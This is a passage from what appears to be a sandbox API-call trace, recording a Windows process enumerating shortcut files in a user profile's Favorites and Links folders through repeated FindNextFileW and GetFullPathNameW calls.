ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0080.369] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0080.370] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0080.370] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0080.370] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.371] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0080.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live", lpFilePart=0x0) returned 0x34 [0080.373] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\", lpFilePart=0x0) returned 0x35 [0080.373] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.375] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0080.376] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0080.377] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.378] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.378] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.378] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0080.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.378] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.379] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0080.380] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpFilePart=0x0) returned 0x24 [0080.380] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.380] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.381] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.381] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0080.381] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0080.381] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0080.381] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, 